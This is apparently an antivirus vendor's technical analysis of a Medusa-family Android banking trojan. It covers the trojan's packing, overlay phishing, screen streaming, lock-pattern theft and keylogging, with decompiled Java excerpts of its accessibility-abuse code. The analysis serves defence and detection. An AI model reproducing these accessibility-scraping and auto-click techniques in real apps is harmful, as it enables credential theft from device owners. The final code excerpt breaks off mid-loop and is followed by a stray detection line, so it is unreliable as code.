- \n
- (Padvish) Trojan.Android.Medusa.V3<\/em><\/li>\n
- (Kaspersky) HEUR:Trojan-Dropper.AndroidOS.Hqwar.hs<\/em><\/li>\n
- (Avira) ANDROID\/Bankbot.FSJP.Gen<\/em><\/li>\n
- (ESET) A Variant Of Android\/TrojanDropper.Agent.MES<\/em><\/li>\n<\/ul>\n
What is Trojan?<\/h3>\n
A Trojan is a type of malware that masquerades as legitimate software, presenting itself as functional and benign. However, once executed, it performs malicious actions that can cause significant damage to the system. Trojans infiltrate systems through various methods, including:
\n\u2022 Downloading software from untrusted sources,
\n\u2022 Embedded malicious code in HTML files,
\n\u2022 Malicious email attachments, and more.<\/p>\nWhat is the Medusa Malware Family?<\/h3>\n
The Medusa malware family is a sophisticated Remote Access Trojan (RAT) first identified in 2020. It is equipped with a range of capabilities, including keylogging, screen recording, and the ability to read and write SMS messages. Medusa is also capable of executing fraudulent activities, such as Automated Transfer System (ATS) and Account Takeover (ATO) scenarios. By exploiting Android Accessibility Services, Medusa extends its functionality beyond a typical RAT, enabling continuous keylogging, dynamic overlay attacks, and other malicious actions directly on the victim’s device.
\nRecent versions of Medusa are more compact and feature enhanced capabilities, making them faster, stealthier, and more potent. The malware is specifically designed to exfiltrate sensitive information, such as banking credentials, credit card details, and other private data, posing a significant threat to user security and privacy.<\/p>\nTechnical Review<\/h2>\n
Indicators of Compromise (IoCs)<\/h3>\n
- \n
- Requests activation of the dangerous Accessibility permission.<\/li>\n
- Modifies system settings without user consent.<\/li>\n
- Hides the program icon to avoid detection.<\/li>\n
- Causes noticeable performance degradation on the device.<\/li>\n<\/ul>\n
Performance Description<\/h3>\n
To evade detection, the malware avoids placing its primary components in the program’s main DEX (Dalvik Executable) file. Instead, it uses packing techniques, storing its main DEX file in the Assets folder under the name Dajs.json. After installation and execution, the malware decodes this file and invokes it through the com.fluid.actor.Zwheremachine class located in the application’s class structure. This obfuscation technique complicates analysis and helps the malware remain undetected during static and dynamic analysis.<\/p>\n
<\/p>\n
![\"Medusa](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2025\/01\/Medusa-1.png\")
<\/p>\n?\u00a0MainActivity<\/em><\/span><\/h4>\n
In the main activity, the malware first checks whether the YouTube app is installed on the user’s device. If present, it launches the app using an intent. A key aspect of this activity is the code line getWindow().setFlags(1024, 1024), which forces the device into full-screen mode.<\/p>\n
This full-screen mode serves multiple malicious purposes: it hides the malware’s actions from the user, allows the creation of deceptive interfaces resembling legitimate applications or system dialogs, and makes it more difficult for the user to exit or interact with device controls.<\/p>\n
Next, the malware loads a local HTML file named qugivspi.html via a WebView. This file is the first page presented to the user, prompting them to grant the Accessibility permission. Once the user approves the permission, the malware hides its icon from the user’s device, further obfuscating its presence.<\/p>\n
?\u00a0ServiceSupportActivity<\/em><\/span><\/h4>\n
In this activity, after performing additional checks, the malware displays a full-screen interface to the user. This activity manages specific malware settings and permissions based on commands received via an intent. The malware retrieves the command string from the intent to determine which action the activity should execute.<\/p>\n
If the command is “CMD_DISPLAY_OVER_APPS”, the malware checks whether it has the permission to display its notifications over other apps (canDrawOverlays method). If this permission is not granted, it launches an activity to request it, and then the activity is closed.<\/p>\n
If the command is “CMD_IGNORE_BATTERY”, the malware checks whether it is allowed to bypass battery optimization. If this permission is not granted, it prompts the user to grant permission to ignore battery optimization.<\/p>\n
If the command is “CMD_ALL_PERMISSION”, the malware verifies whether all necessary permissions have been granted. If any permissions are missing, it uses the requestPermissions method to request them from the user.<\/p>\n
“android.permission.READ_PHONE_STATE”
\n<\/em>“android.permission.CALL_PHONE”
\n<\/em>“android.permission.CAMERA”
\n<\/em>“android.permission.RECORD_AUDIO”<\/em><\/p>\n?VNCActivity<\/em><\/span><\/h4>\n
In this activity, the malware captures the user’s screen and streams it in real-time. If the user grants permission to capture the screen, the malware activates a service named DisplayServiceJava, which is responsible for recording or streaming the screen. Several parameters (a, b, c, d, e, f) are passed to the service, which uses these values to configure the recording or streaming session.<\/p>\n
The malware also retrieves configuration details from the initiating intent. It requests the necessary permissions to record the screen, and if granted, it triggers the DisplayServiceJava service to start screen recording or streaming, along with all relevant configuration parameters.<\/p>\n
?\u00a0AccessibilityControllerService<\/em><\/span><\/h4>\n
This service handles most of the malware’s malicious activities, which are outlined below:<\/p>\n
\u25aa\ufe0f Method d<\/strong><\/span><\/p>\n
The d method is responsible for converting an AccessibilityNodeInfo object into a JSONObject. The AccessibilityNodeInfo class provides detailed information about a view (UI component) in an Android application. This method serializes the properties of the view into JSON format, making it easier to process or transmit the data.<\/p>\n
The AccessibilityNodeInfo object contains various properties, such as the view\u2019s bounds, text, descriptions, and child nodes. By capturing this information, the malware can track user interactions with the UI, including button presses, text input, and other user actions. It can also capture sensitive content such as passwords, credit card numbers, or two-factor authentication messages, which may be displayed on the screen.<\/p>\n
public static JSONObject d(AccessibilityNodeInfo accessibilityNodeInfo0, int v) {<\/span><\/p>\n
JSONObject jSONObject0 = new JSONObject();<\/span><\/p>\n
if(accessibilityNodeInfo0 == null) {<\/span><\/p>\n
return jSONObject0;<\/span><\/p>\n
}<\/span><\/p>\n
try {<\/span><\/p>\n
Rect rect0 = new Rect();<\/span><\/p>\n
accessibilityNodeInfo0.getBoundsInScreen(rect0);<\/span><\/p>\n
JSONObject jSONObject1 = new JSONObject();<\/span><\/p>\n
jSONObject1.put(“t”, rect0.top);<\/span><\/p>\n
jSONObject1.put(“l”, rect0.left);<\/span><\/p>\n
jSONObject1.put(“b”, rect0.bottom);<\/span><\/p>\n
jSONObject1.put(“r”, rect0.right);<\/span><\/p>\n
jSONObject0.put(“bs”, jSONObject1);<\/span><\/p>\n
if(accessibilityNodeInfo0.getText() != null) {<\/span><\/p>\n
jSONObject0.put(“t”, accessibilityNodeInfo0.getText());<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.getHintText() != null) {<\/span><\/p>\n
jSONObject0.put(“ht”, accessibilityNodeInfo0.getHintText());<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.getContentDescription() != null) {<\/span><\/p>\n
jSONObject0.put(“cd”, accessibilityNodeInfo0.getContentDescription());<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.getViewIdResourceName() != null) {<\/span><\/p>\n
jSONObject0.put(“r”, accessibilityNodeInfo0.getViewIdResourceName());<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isCheckable()) {<\/span><\/p>\n
jSONObject0.put(“ch”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isChecked()) {<\/span><\/p>\n
jSONObject0.put(“che”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isFocusable()) {<\/span><\/p>\n
jSONObject0.put(“fc”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isFocused()) {<\/span><\/p>\n
jSONObject0.put(“fcd”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isSelected()) {<\/span><\/p>\n
jSONObject0.put(“sel”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isClickable()) {<\/span><\/p>\n
jSONObject0.put(“cli”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isLongClickable()) {<\/span><\/p>\n
jSONObject0.put(“lc”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isContextClickable()) {<\/span><\/p>\n
jSONObject0.put(“cc”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isEnabled()) {<\/span><\/p>\n
jSONObject0.put(“en”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isPassword()) {<\/span><\/p>\n
jSONObject0.put(“pass”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isScrollable()) {<\/span><\/p>\n
jSONObject0.put(“scr”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isImportantForAccessibility()) {<\/span><\/p>\n
jSONObject0.put(“ifa”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.isVisibleToUser()) {<\/span><\/p>\n
jSONObject0.put(“vis”, true);<\/span><\/p>\n
}<\/span><\/p>\n
if(accessibilityNodeInfo0.getChildCount() > 0) {<\/span><\/p>\n
JSONArray jSONArray0 = new JSONArray();<\/span><\/p>\n
for(int v1 = 0; v1 < accessibilityNodeInfo0.getChildCount(); ++v1) {<\/span><\/p>\n
jSONArray0.put(AccessibilityControllerService.d(accessibilityNodeInfo0.getChild(v1), v + 1));<\/span><\/p>\n
}<\/span><\/p>\n
jSONObject0.put(“chi”, jSONArray0);<\/span><\/p>\n
}<\/span><\/p>\n
}<\/span><\/p>\n
catch(Exception unused_ex) {<\/span><\/p>\n
}<\/span><\/p>\n
return jSONObject0;<\/span><\/p>\n
}<\/span><\/p>\n
\u25aa\ufe0fMethod f<\/strong><\/span><\/p>\n
The f method is designed to recursively search through the UI elements on an Android device using the AccessibilityService feature, specifically to locate a specific text string. It retrieves the text associated with the current AccessibilityNodeInfo object.<\/p>\n
If the text is not empty, the method compares it to the target string, disregarding case differences (equalsIgnoreCase). This method can be used to identify particular UI elements based on their textual content and is capable of locating sensitive items, such as password input fields, messages, user account details, or bank card numbers.<\/p>\n
![\"\u0645\u062a\u062f](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2025\/01\/\u0645\u062a\u062f-f.png\")
<\/p>\n\u25aa\ufe0f Method e<\/strong><\/span><\/p>\n
In this method, the malware creates a WebView within a FrameLayout and places it on the screen using WindowManager.LayoutParams. A value of 2032 for WindowManager.LayoutParams (with window type TYPE_SYSTEM_OVERLAY or TYPE_APPLICATION_OVERLAY) ensures that the WebView is rendered on top of other applications.<\/p>\n
Overlay windows are commonly used in malware to deceive users into entering sensitive information by mimicking legitimate application screens. The WebView loads a URL determined by the value of f2895f and the str parameter. If f2895f points to a remote server, the malware can load a malicious web page.<\/p>\n
This method allows the malware to simulate any webpage by creating a full-screen overlay via WebView, enabling JavaScript, and allowing file access. Dynamically loading a URL with a JavaScript interface enables the execution of scripts for phishing attacks or data collection, further compromising the user’s security.<\/p>\n
![\"\u0645\u062a\u062f](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2025\/01\/3-\u0645\u062a\u062f-e.png\")
<\/p>\n\u25aa\ufe0fMethod c<\/strong><\/span><\/p>\n
In this method, the malware gathers information about UI elements, particularly those related to the lock screen pattern, using the Android accessibility service. The malware checks whether the AccessibilityNodeInfo object (accessibilityNodeInfo0) belongs to the com.android.systemui package, which typically handles elements like the lock screen, notifications, and other parts of the Android UI.<\/p>\n
The malware uses findAccessibilityNodeInfosByViewId(“com.android.systemui:id\/lockPatternView”) to locate elements associated with the lock pattern view, which is used to unlock the device. By accessing this view, the malware attempts to retrieve the user’s lock screen pattern information.<\/p>\n
To extract the lock screen details, the malware checks whether each child element within the lockPatternView is clickable. It then stores the position (top, left, bottom, right) of each element in a JSONObject. The malware also attempts to capture the text associated with each element and stores it in a variable (str), which could reveal parts of the lock pattern.<\/p>\n
Finally, the collected data is stored in a JSON array and transmitted to the malware’s command-and-control (C2) server. In summary, Method c is used to capture and exfiltrate lock screen pattern data by leveraging Android’s accessibility services.<\/p>\n
\u25aa\ufe0f onAccessibilityEvent\u00a0Method <\/strong><\/span><\/p>\n
In this method, the malware first checks if it has the “draw over other apps” permission (Settings.canDrawOverlays). If the permission is not granted, the malware attempts to navigate the device’s settings and simulate user interaction to request this permission. Manipulating overlay settings enables the malware to display content on top of other apps, which can facilitate phishing attacks by showing fake dialogs or buttons.<\/p>\n
The malware simulates clicks on UI elements by performing actions on AccessibilityNodeInfo objects. It searches for specific UI elements using their ID and text. Once the overlay permission is obtained, the malware calls methods a and b, which hide the app’s activity by redirecting the user to the home screen. This action helps prevent detection of suspicious behavior or changes to settings.<\/p>\n
Next, the malware checks whether the flag IGNORE_BATTERY_INSTALL_REQUIRED is set in the SharedPrefManager. This flag indicates whether the malware should disable battery optimization to ensure the malware service is not killed while running in the background. If the flag is true, the malware disables battery optimization settings for itself.<\/p>\n
In this method, the malware checks the status of various permission requests and installations using flags such as VNC_INSTALL_REQUIRED, ACCEPT_UNINSTALL, PERMISSION_INSTALL_REQUIRED, and others. Based on the received events and the values of these flags, the method automatically responds to permission requests or installation prompts by simulating clicks on the “Allow” or “Install” buttons.<\/p>\n
If the malware encounters the SYSTEM_WRITE_REQUIRED flag, this method automatically navigates to the settings page and makes specific changes, such as enabling or disabling system write permissions. To do this, the method first verifies that the settings page is open, then locates the corresponding button, and activates or deactivates it as needed.<\/p>\n
If the KEYLOG flag is enabled, the method logs and stores specific user interactions, such as clicks, focus changes, and selections, implementing keylogging functionality. These actions may include capturing timestamps and visible text content, which are then stored in a variable for later use.<\/p>\n
If the LOCK_SCREEN flag is enabled, the method automatically triggers the device\u2019s screen lock. The BLOCK_APP flag allows the malware to block or close certain applications automatically if they are detected to be open. When a blocked application is launched, the method either closes the app or activates the lock screen to prevent the user from accessing it.<\/p>\n
The REMOVAL_BLOCK flag prevents applications from being uninstalled when the user navigates to the uninstall or settings page. The malware achieves this by identifying relevant UI elements on the settings page and simulating clicks on the cancel buttons to block removal attempts.<\/p>\n
In this method, findAccessibilityNodeInfosByViewId and findAccessibilityNodeInfosByText are used to locate and interact with specific UI elements. Based on the configured events and flags, the malware performs necessary actions, such as simulating clicks on these elements.<\/p>\n
Overall, this method enables automatic control over the device, allowing the malware to manage applications and system settings without user intervention. It can interact with dialogs, adjust settings, and control app behavior autonomously.<\/p>\n
public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent0) {<\/span><\/p>\n
String s6;<\/span><\/p>\n
a a0;<\/span><\/p>\n
String s3;<\/span><\/p>\n
String s2;<\/span><\/p>\n
String s1;<\/span><\/p>\n
String s;<\/span><\/p>\n
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“57fvxkkp9fh2vbbbbngmol52”, false)) {<\/span><\/p>\n
try {<\/span><\/p>\n
if((accessibilityEvent0.getPackageName().toString().contains(“com.android.settings”)) && accessibilityEvent0.getEventType() == 0x800) {<\/span><\/p>\n
if(((int)SharedPrefManager.getInstance(this.getApplicationContext()).read(“vasdx3423452”, 0)) == 0) {<\/span><\/p>\n
List list0 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id\/list”);<\/span><\/p>\n
if(list0 == null || list0.size() == 0) {<\/span><\/p>\n
list0 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id\/apps_list”);<\/span><\/p>\n
}<\/span><\/p>\n
Iterator iterator0 = list0.iterator();<\/span><\/p>\n
while(true) {<\/span><\/p>\n
label_7:<\/span><\/p>\n
if(!iterator0.hasNext()) {<\/span><\/p>\n
break;<\/span><\/p>\n
}<\/span><\/p>\n
Object object0 = iterator0.next();<\/span><\/p>\n
AccessibilityNodeInfo accessibilityNodeInfo0 = (AccessibilityNodeInfo)object0;<\/span><\/p>\n
alab1:<\/span><\/p>\n
do {<\/span><\/p>\n
while(true) {<\/span><\/p>\n
List list1 = this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001E));<\/span><\/p>\n
- (Kaspersky) HEUR:Trojan-Dropper.AndroidOS.Hqwar.hs<\/em><\/li>\n